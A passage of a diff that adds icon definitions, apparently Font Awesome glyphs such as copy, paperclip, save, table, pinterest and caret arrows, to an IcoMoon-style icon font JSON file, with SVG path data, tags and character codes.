491.429l180.571-180.571v-237.714h-219.429v237.714c0 30.286-24.571 54.857-54.857 54.857h-237.714v365.714h292.571v-146.286c0-30.286 17.714-72.571 38.857-93.714zM950.857 950.857v-658.286h-219.429v237.714c0 30.286-24.571 54.857-54.857 54.857h-237.714v365.714h512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "copy", + "files-o" + ], + "defaultCode": 61637, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "copy, files-o", + "id": 174, + "order": 1030, + "prevSize": 28, + "code": 61637 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 174 + }, + { + "icon": { + "paths": [ + "M802.286 791.429c0 89.143-68 157.143-157.143 157.143-50.286 0-98.857-21.714-134.286-57.143l-444-443.429c-40.571-41.143-64.571-97.143-64.571-154.857 0-121.143 95.429-217.714 216.571-217.714 58.286 0 114.286 23.429 156 64.571l345.714 346.286c3.429 3.429 5.714 8 5.714 12.571 0 12-32 44-44 44-5.143 0-9.714-2.286-13.143-5.714l-346.286-346.857c-27.429-26.857-64.571-44-103.429-44-81.143 0-144 65.714-144 146.286 0 38.857 16 76 43.429 103.429l443.429 444c21.714 21.714 52 36 82.857 36 48.571 0 84.571-36 84.571-84.571 0-31.429-14.286-61.143-36-82.857l-332-332c-9.143-8.571-21.714-13.714-34.286-13.714-21.714 0-38.286 16-38.286 38.286 0 12.571 5.714 24.571 14.286 33.714l234.286 234.286c3.429 3.429 5.714 8 5.714 12.571 0 12-32.571 44.571-44.571 44.571-4.571 0-9.143-2.286-12.571-5.714l-234.286-234.286c-22.857-22.286-36-53.714-36-85.143 0-62.857 49.143-112 112-112 32 0 62.857 13.143 85.143 36l332 332c36 35.429 57.143 84 57.143 134.286z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paperclip" + ], + "defaultCode": 61638, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paperclip", + "id": 175, + "order": 1031, + "prevSize": 28, + "code": 61638 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 175 + }, + { + "icon": { + "paths": [ + "M219.429 877.714h438.857v-219.429h-438.857v219.429zM731.429 877.714h73.143v-512c0-10.857-9.714-34.286-17.143-41.714l-160.571-160.571c-8-8-30.286-17.143-41.714-17.143v237.714c0 30.286-24.571 54.857-54.857 54.857h-329.143c-30.286 0-54.857-24.571-54.857-54.857v-237.714h-73.143v731.429h73.143v-237.714c0-30.286 24.571-54.857 54.857-54.857h475.429c30.286 0 54.857 24.571 54.857 54.857v237.714zM512 347.429v-182.857c0-9.714-8.571-18.286-18.286-18.286h-109.714c-9.714 0-18.286 8.571-18.286 18.286v182.857c0 9.714 8.571 18.286 18.286 18.286h109.714c9.714 0 18.286-8.571 18.286-18.286zM877.714 365.714v530.286c0 30.286-24.571 54.857-54.857 54.857h-768c-30.286 0-54.857-24.571-54.857-54.857v-768c0-30.286 24.571-54.857 54.857-54.857h530.286c30.286 0 72 17.143 93.714 38.857l160 160c21.714 21.714 38.857 63.429 38.857 93.714z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "floppy-o", + "save" + ], + "defaultCode": 61639, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "floppy-o, save", + "id": 176, + "order": 1032, + "prevSize": 28, + "code": 61639 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 176 + }, + { + "icon": { + "paths": [ + "M877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "square" + ], + "defaultCode": 61640, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "square", + "id": 177, + "order": 1033, + "prevSize": 28, + "code": 61640 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 177 + }, + { + "icon": { + "paths": [ + "M877.714 768v73.143c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571zM877.714 475.429v73.143c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571zM877.714 182.857v73.143c0 20-16.571 36.571-36.571 36.571h-804.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h804.571c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bars", + "navicon", + "reorder" + ], + "defaultCode": 61641, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bars, navicon, reorder", + "id": 178, + "order": 1034, + "prevSize": 28, + "code": 61641 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 178 + }, + { + "icon": { + "paths": [ + "M219.429 804.571c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM219.429 512c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM1024 749.714v109.714c0 9.714-8.571 18.286-18.286 18.286h-694.857c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h694.857c9.714 0 18.286 8.571 18.286 18.286zM219.429 219.429c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM1024 457.143v109.714c0 9.714-8.571 18.286-18.286 18.286h-694.857c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h694.857c9.714 0 18.286 8.571 18.286 18.286zM1024 164.571v109.714c0 9.714-8.571 18.286-18.286 18.286h-694.857c-9.714 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8.571-18.286 18.286-18.286h694.857c9.714 0 18.286 8.571 18.286 18.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "list-ul" + ], + "defaultCode": 61642, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "list-ul", + "id": 179, + "order": 1035, + "prevSize": 28, + "code": 61642 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 179 + }, + { + "icon": { + "paths": [ + "M217.714 925.714c0 62.857-49.143 98.286-108.571 98.286-36 0-72.571-12-98.286-37.714l32.571-50.286c15.429 14.286 38.857 25.714 60.571 25.714 20 0 41.143-9.714 41.143-32.571 0-32-36.571-33.714-60-32l-14.857-32c20.571-26.286 39.429-55.429 64-77.714v-0.571c-18.286 0-37.143 1.143-55.429 1.143v30.286h-60.571v-86.857h190.286v50.286l-54.286 65.714c38.286 9.143 63.429 38.857 63.429 78.286zM218.857 567.429v90.857h-206.857c-1.714-10.286-3.429-20.571-3.429-30.857 0-105.714 129.143-121.714 129.143-169.714 0-19.429-12-29.714-30.857-29.714-20 0-36.571 17.143-46.286 33.143l-48.571-33.714c18.857-39.429 57.714-61.714 101.143-61.714 53.143 0 98.857 31.429 98.857 88 0 84.571-124 103.429-125.714 148h72.571v-34.286h60zM1024 749.714v109.714c0 9.714-8.571 18.286-18.286 18.286h-694.857c-10.286 0-18.286-8.571-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h694.857c9.714 0 18.286 8 18.286 18.286zM219.429 236v56.571h-191.429v-56.571h61.143c0-46.286 0.571-92.571 0.571-138.857v-6.857h-1.143c-6.286 12.571-17.714 21.143-28.571 30.857l-40.571-43.429 77.714-72.571h60.571v230.857h61.714zM1024 457.143v109.714c0 9.714-8.571 18.286-18.286 18.286h-694.857c-10.286 0-18.286-8.571-18.286-18.286v-109.714c0-10.286 8-18.286 18.286-18.286h694.857c9.714 0 18.286 8 18.286 18.286zM1024 164.571v109.714c0 9.714-8.571 18.286-18.286 18.286h-694.857c-10.286 0-18.286-8.571-18.286-18.286v-109.714c0-9.714 8-18.286 18.286-18.286h694.857c9.714 0 18.286 8.571 18.286 18.286z" + ], + "width": 1032.5577142857144, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "list-ol" + ], + "defaultCode": 61643, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "list-ol", + "id": 180, + "order": 1036, + "prevSize": 28, + "code": 61643 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 180 + }, + { + "icon": { + "paths": [ + "M1005.714 512c10.286 0 18.286 8 18.286 18.286v36.571c0 10.286-8 18.286-18.286 18.286h-987.429c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h987.429zM276 475.429c-10.857-13.714-20.571-29.143-29.143-45.714-18.286-37.143-27.429-73.143-27.429-107.429 0-69.714 25.714-128 76.571-176.571s125.714-72.571 224.571-72.571c21.714 0 53.143 4 95.429 10.857 25.143 4.571 58.857 13.714 101.143 27.429 4 14.857 8 37.714 12 67.429 5.143 45.143 8 80 8 104.571 0 8-1.143 16.571-2.857 25.714l-6.857 1.714-48-3.429-8-1.143c-19.429-57.714-39.429-96.571-58.857-117.143-33.714-34.857-74.286-52-120-52-43.429 0-78.286 11.429-104 33.714s-38.286 50.286-38.286 83.429c0 28 12.571 54.286 37.714 80s78.286 50.286 159.429 73.714c27.429 8 60 20.571 98.857 37.714 20.571 9.714 38.857 19.429 54.286 29.714h-424.571zM565.714 621.714h234.857c2.857 16 4 33.714 4 52.571 0 41.143-7.429 81.714-23.429 121.143-8.571 21.143-21.714 40.571-40.571 59.429-13.714 13.143-34.286 28.571-62.286 46.286-28.571 17.143-57.143 30.286-87.429 37.714-30.286 8-68.571 12-116 12-31.429 0-69.143-1.143-111.429-13.143l-80-22.857c-22.286-6.286-35.429-11.429-41.143-16-2.286-2.286-4.571-6.286-4.571-12.571v-7.429c0-4.571 1.143-34.286-1.143-89.143-1.143-28.571 1.143-48.571 1.143-60v-25.143l58.286-1.143c21.143 48.571 30.857 77.714 37.143 88 13.714 22.286 29.143 40 45.714 53.714s36.571 24.571 60 32.571c22.857 8.571 48.571 12.571 75.429 12.571 24 0 50.857-5.143 79.429-15.429 29.143-9.714 52.571-26.286 69.714-49.143 17.714-22.857 26.857-47.429 26.857-73.714 0-32-15.429-61.714-46.286-89.714-12.571-10.857-38.857-24.571-78.286-40.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "strikethrough" + ], + "defaultCode": 61644, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "strikethrough", + "id": 181, + "order": 1037, + "prevSize": 28, + "code": 61644 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 181 + }, + { + "icon": { + "paths": [ + "M27.429 127.429c-10.286-0.571-18.857-0.571-25.714-2.286l-1.714-50.286c7.429-0.571 14.857-0.571 22.857-0.571 20 0 41.714 0.571 64 2.286 53.714 2.857 85.714 4 94.857 4 32.571 0 64.571-0.571 96-1.714 30.857-1.143 58.857-2.286 83.429-2.857 24 0 40.571-0.571 49.143-1.143l-0.571 8 1.143 36.571v5.143c-22.857 3.429-46.286 5.143-70.857 5.143-22.857 0-37.714 4.571-45.143 14.286-5.143 5.714-7.429 30.857-7.429 75.429 0 13.714 0.571 24.571 0.571 33.143l0.571 130.857 8 160c2.286 46.286 11.429 84.571 29.143 115.429 13.143 22.286 31.429 40 54.857 52.571 34.286 18.286 68 26.857 101.143 26.857 38.857 0 75.429-5.143 109.143-16 20-6.286 38.857-15.429 56.571-29.143 17.714-13.143 30.286-25.143 37.143-36.571 14.857-22.857 24.571-45.143 30.286-65.143 8-28 12-71.429 12-130.857 0-102.286-7.429-105.143-16-234.286l-2.286-33.714c-1.714-24.571-5.714-41.714-13.714-50.286-12.571-13.143-27.429-20-44-19.429l-57.143 1.143-8-1.714 1.143-49.143h48l117.143 5.714c38.857 1.714 76-1.714 112-5.714l10.286 1.143c2.286 14.286 3.429 24 3.429 29.143s-1.143 10.857-2.286 17.714c-15.429 4-31.429 6.857-48 7.429-26.857 4-42.286 6.857-45.143 9.714-5.143 5.143-8.571 12.571-8.571 23.429 0 7.429 1.143 18.857 1.714 33.143 0 0 4.571 10.286 12.571 226.286 2.857 86.286-2.857 144.571-8.571 173.714s-13.714 52.571-23.429 69.714c-14.857 25.143-36.571 48.571-64 70.286-28 21.143-62.286 38.286-104 50.857s-90.286 18.857-145.714 18.857c-62.857 0-117.143-8.571-162.286-26.286s-79.429-41.143-102.286-69.714-38.857-65.714-47.429-111.429c-6.286-31.429-9.143-76.571-9.143-135.429v-190.286c0-72-3.429-112.571-9.714-121.714-9.143-13.143-37.143-21.143-84-22.286zM877.714 932.571v-36.571c0-10.286-8-18.286-18.286-18.286h-841.143c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h841.143c10.286 0 18.286-8 18.286-18.286z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "underline" + ], + "defaultCode": 61645, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "underline", + "id": 182, + "order": 1038, + "prevSize": 28, + "code": 61645 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 182 + }, + { + "icon": { + "paths": [ + "M292.571 786.286v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM292.571 566.857v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM585.143 786.286v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM292.571 347.429v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM585.143 566.857v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM877.714 786.286v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM585.143 347.429v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM877.714 566.857v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM877.714 347.429v-109.714c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v109.714c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM950.857 164.571v621.714c0 50.286-41.143 91.429-91.429 91.429h-768c-50.286 0-91.429-41.143-91.429-91.429v-621.714c0-50.286 41.143-91.429 91.429-91.429h768c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "table" + ], + "defaultCode": 61646, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "table", + "id": 183, + "order": 1039, + "prevSize": 28, + "code": 61646 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 183 + }, + { + "icon": { + "paths": [ + "M680 332l167.429-167.429-61.143-61.143-167.429 167.429zM935.429 164.571c0 9.714-3.429 18.857-10.286 25.714l-734.857 734.857c-6.857 6.857-16 10.286-25.714 10.286s-18.857-3.429-25.714-10.286l-113.143-113.143c-6.857-6.857-10.286-16-10.286-25.714s3.429-18.857 10.286-25.714l734.857-734.857c6.857-6.857 16-10.286 25.714-10.286s18.857 3.429 25.714 10.286l113.143 113.143c6.857 6.857 10.286 16 10.286 25.714zM163.429 56l56 17.143-56 17.143-17.143 56-17.143-56-56-17.143 56-17.143 17.143-56zM363.429 148.571l112 34.286-112 34.286-34.286 112-34.286-112-112-34.286 112-34.286 34.286-112zM894.857 421.714l56 17.143-56 17.143-17.143 56-17.143-56-56-17.143 56-17.143 17.143-56zM529.143 56l56 17.143-56 17.143-17.143 56-17.143-56-56-17.143 56-17.143 17.143-56z" + ], + "width": 966.2902857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "magic" + ], + "defaultCode": 61648, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "magic", + "id": 184, + "order": 1040, + "prevSize": 28, + "code": 61648 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 184 + }, + { + "icon": { + "paths": [ + "M365.714 804.571c0-40-33.143-73.143-73.143-73.143s-73.143 33.143-73.143 73.143 33.143 73.143 73.143 73.143 73.143-33.143 73.143-73.143zM146.286 512h219.429v-146.286h-90.286c-2.286 0-10.857 3.429-12.571 5.143l-111.429 111.429c-1.714 1.714-5.143 10.286-5.143 12.571v17.143zM877.714 804.571c0-40-33.143-73.143-73.143-73.143s-73.143 33.143-73.143 73.143 33.143 73.143 73.143 73.143 73.143-33.143 73.143-73.143zM1024 182.857v585.143c0 42.286-44.571 36.571-73.143 36.571 0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286h-219.429c0 80.571-65.714 146.286-146.286 146.286s-146.286-65.714-146.286-146.286h-36.571c-28.571 0-73.143 5.714-73.143-36.571 0-20 16.571-36.571 36.571-36.571v-182.857c0-40.571-5.714-85.714 25.714-117.143l113.143-113.143c14.286-14.286 41.714-25.714 62.286-25.714h91.429v-109.714c0-20 16.571-36.571 36.571-36.571h585.143c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1060.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "truck" + ], + "defaultCode": 61649, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "truck", + "id": 185, + "order": 1041, + "prevSize": 28, + "code": 61649 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 185 + }, + { + "icon": { + "paths": [ + "M877.714 512c0 242.286-196.571 438.857-438.857 438.857-43.429 0-84.571-6.286-124.571-18.286 16.571-26.286 35.429-60 44.571-93.714 0 0 5.143-19.429 30.857-120.571 14.857 29.143 59.429 54.857 106.857 54.857 141.143 0 237.143-128.571 237.143-301.143 0-129.714-110.286-251.429-278.286-251.429-208 0-313.143 149.714-313.143 274.286 0 75.429 28.571 142.857 89.714 168 9.714 4 18.857 0 21.714-11.429 2.286-7.429 6.857-26.857 9.143-34.857 2.857-11.429 1.714-14.857-6.286-24.571-17.714-21.143-29.143-48-29.143-86.286 0-110.857 82.857-210.286 216-210.286 117.714 0 182.857 72 182.857 168.571 0 126.286-56 233.143-139.429 233.143-45.714 0-80-37.714-69.143-84.571 13.143-55.429 38.857-115.429 38.857-155.429 0-36-19.429-66.286-59.429-66.286-46.857 0-84.571 48.571-84.571 113.714 0 0 0 41.714 14.286 69.714-48 203.429-56.571 238.857-56.571 238.857-8 33.143-8.571 70.286-7.429 101.143-154.857-68-262.857-222.286-262.857-402.286 0-242.286 196.571-438.857 438.857-438.857s438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pinterest" + ], + "defaultCode": 61650, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pinterest", + "id": 186, + "order": 1042, + "prevSize": 28, + "code": 61650 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 186 + }, + { + "icon": { + "paths": [ + "M713.143 73.143c90.857 0 164.571 73.714 164.571 164.571v548.571c0 90.857-73.714 164.571-164.571 164.571h-414.286c18.857-26.857 49.714-73.143 61.714-120 0 0 5.143-19.429 30.286-119.429 15.429 29.143 59.429 54.286 106.286 54.286 139.429 0 234.286-127.429 234.286-297.714 0-128.571-109.143-248.571-274.857-248.571-206.286 0-310.286 148-310.286 271.429 0 74.286 28.571 140.571 89.143 165.714 9.714 4 18.857 0 21.714-10.857 1.714-7.429 6.286-26.857 8.571-34.857 2.857-10.857 1.714-14.857-6.286-24-17.143-21.143-28.571-47.429-28.571-85.714 0-109.714 82.286-207.429 213.714-207.429 116.571 0 180.571 70.857 180.571 166.286 0 125.143-55.429 230.857-137.714 230.857-45.143 0-79.429-37.714-68.571-84 13.143-54.857 38.286-114.286 38.286-153.714 0-35.429-18.857-65.143-58.286-65.143-46.286 0-83.429 48-83.429 112 0 0 0 41.143 13.714 69.143-47.429 201.143-56 236.571-56 236.571-12.571 52.571-7.429 113.714-4 145.143h-104.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pinterest-square" + ], + "defaultCode": 61651, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pinterest-square", + "id": 187, + "order": 1043, + "prevSize": 28, + "code": 61651 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 187 + }, + { + "icon": { + "paths": [ + "M524 517.143c0-14.286-1.714-25.714-3.429-36.571h-206.857v75.429h124c-4.571 32-37.143 94.286-124 94.286-75.429 0-136.571-61.714-136.571-138.286s61.143-138.286 136.571-138.286c42.286 0 70.857 17.714 87.429 33.714l59.429-57.714c-38.286-35.429-88-57.143-146.857-57.143-121.714 0-219.429 98.286-219.429 219.429s97.714 219.429 219.429 219.429c126.286 0 210.286-89.143 210.286-214.286zM721.143 543.429h62.286v-62.857h-62.286v-62.857h-62.857v62.857h-62.857v62.857h62.857v62.857h62.857v-62.857zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "google-plus-square" + ], + "defaultCode": 61652, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "google-plus-square", + "id": 188, + "order": 1044, + "prevSize": 28, + "code": 61652 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 188 + }, + { + "icon": { + "paths": [ + "M821.143 521.714c0 239.429-160.571 409.143-402.286 409.143-231.429 0-418.857-187.429-418.857-418.857s187.429-418.857 418.857-418.857c113.143 0 207.429 41.143 280.571 109.714l-113.714 109.143c-30.857-29.714-85.143-64.571-166.857-64.571-142.857 0-259.429 118.286-259.429 264.571s116.571 264.571 259.429 264.571c165.714 0 228-119.429 237.714-180.571h-237.714v-144h395.429c4 21.143 6.857 42.286 6.857 69.714zM1316.571 452v120h-119.429v119.429h-120v-119.429h-119.429v-120h119.429v-119.429h120v119.429h119.429z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "google-plus" + ], + "defaultCode": 61653, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "google-plus", + "id": 189, + "order": 1045, + "prevSize": 28, + "code": 61653 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 189 + }, + { + "icon": { + "paths": [ + "M438.857 658.286h219.429v-54.857h-73.143v-256h-65.143l-84.571 78.286 44 45.714c13.714-12 22.286-18.286 31.429-32.571h1.143v164.571h-73.143v54.857zM731.429 512c0 104-62.857 237.714-182.857 237.714s-182.857-133.714-182.857-237.714 62.857-237.714 182.857-237.714 182.857 133.714 182.857 237.714zM1024 658.286v-292.571c-80.571 0-146.286-65.714-146.286-146.286h-658.286c0 80.571-65.714 146.286-146.286 146.286v292.571c80.571 0 146.286 65.714 146.286 146.286h658.286c0-80.571 65.714-146.286 146.286-146.286zM1097.143 182.857v658.286c0 20-16.571 36.571-36.571 36.571h-1024c-20 0-36.571-16.571-36.571-36.571v-658.286c0-20 16.571-36.571 36.571-36.571h1024c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "money" + ], + "defaultCode": 61654, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "money", + "id": 190, + "order": 1046, + "prevSize": 28, + "code": 61654 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 190 + }, + { + "icon": { + "paths": [ + "M585.143 402.286c0 9.714-4 18.857-10.857 25.714l-256 256c-6.857 6.857-16 10.857-25.714 10.857s-18.857-4-25.714-10.857l-256-256c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h512c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-down" + ], + "defaultCode": 61655, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-down", + "id": 191, + "order": 1047, + "prevSize": 28, + "code": 61655 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 191 + }, + { + "icon": { + "paths": [ + "M585.143 694.857c0 20-16.571 36.571-36.571 36.571h-512c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l256-256c6.857-6.857 16-10.857 25.714-10.857s18.857 4 25.714 10.857l256 256c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-up" + ], + "defaultCode": 61656, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-up", + "id": 192, + "order": 1048, + "prevSize": 28, + "code": 61656 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 192 + }, + { + "icon": { + "paths": [ + "M365.714 256v512c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-256-256c-6.857-6.857-10.857-16-10.857-25.714s4-18.857 10.857-25.714l256-256c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571z" + ], + "width": 402.2857142857143, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-left" + ], + "defaultCode": 61657, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-left", + "id": 193, + "order": 1049, + "prevSize": 28, + "code": 61657 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 193 + }, + { + "icon": { + "paths": [ + "M329.143 512c0 9.714-4 18.857-10.857 25.714l-256 256c-6.857 6.857-16 10.857-25.714 10.857-20 0-36.571-16.571-36.571-36.571v-512c0-20 16.571-36.571 36.571-36.571 9.714 0 18.857 4 25.714 10.857l256 256c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 329.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "caret-right" + ], + "defaultCode": 61658, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "caret-right", + "id": 194, + "order": 1050, + "prevSize": 28, + "code": 61658 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 194 + }, + { + "icon": { + "paths": [ + "M91.429 877.714h347.429v-658.286h-365.714v640c0 9.714 8.571 18.286 18.286 18.286zM877.714 859.429v-640h-365.714v658.286h347.429c9.714 0 18.286-8.571 18.286-18.286zM950.857 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-768c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h768c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "columns" + ], + "defaultCode": 61659, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "columns", + "id": 195, + "order": 1051, + "prevSize": 28, + "code": 61659 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 195 + }, + { + "icon": { + "paths": [ + "M585.143 621.714c0 9.714-4 18.857-10.857 25.714l-256 256c-6.857 6.857-16 10.857-25.714 10.857s-18.857-4-25.714-10.857l-256-256c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 36.571-36.571h512c20 0 36.571 16.571 36.571 36.571zM585.143 402.286c0 20-16.571 36.571-36.571 36.571h-512c-20 0-36.571-16.571-36.571-36.571 0-9.714 4-18.857 10.857-25.714l256-256c6.857-6.857 16-10.857 25.714-10.857s18.857 4 25.714 10.857l256 256c6.857 6.857 10.857 16 10.857 25.714z" + ], + "width": 585.1428571428571, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sort", + "unsorted" + ], + "defaultCode": 61660, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "sort, unsorted", + "id": 196, + "order": 1052, + "prevSize": 28, + "code": 61660 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 196 + }, + { + "icon": { + "paths": [ + "M585.143 621.714c0 9.714-4 18.857-10.857 25.714l-256 256c-6.857 6.857-16 10.857-25.714 10.857s-18.857-4-25.714-10.857l-256-256c-6.857-6.857-10.857-16-10.857-25.714 0-20 16.571-36.571 